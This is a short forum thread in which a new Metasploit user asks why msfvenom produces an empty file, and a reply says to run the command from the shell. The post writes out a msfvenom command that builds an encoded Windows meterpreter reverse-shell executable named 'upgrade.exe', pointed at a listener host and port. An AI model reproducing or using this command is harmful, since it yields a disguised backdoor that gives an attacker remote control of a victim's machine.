Jump to content

Metasploit: Msfvenom Problem: Empty File


Recommended Posts

Posted

Hey guys,

so I just started using metasploit, but i have the following problem: everytime I use msfvenom to generate a .exe file the following happens:

I type something like:

msfvenom -p windows/meterpreter/reversetcp -e x86/shikataganai -i 5 LHOST=<local IP> LPORT=1337 -f exe > upgrade.exe

the output is the following:

msf > msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe

* exec: msfvenom -p windows/meterpreter/reversetcp -e x86/shikata_ga_nai -i 5 LHOST=10.0.0.10 LPORT=1337 -f exe > upgrade.exe

The upgrade.exe file is empty.
Database is connected.
and I have no idea what to do.

..

Hopefully you can help me!

Greetings,
S.

Posted

Are you running it from the command line or from inside Metasploit? It should be the command line.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...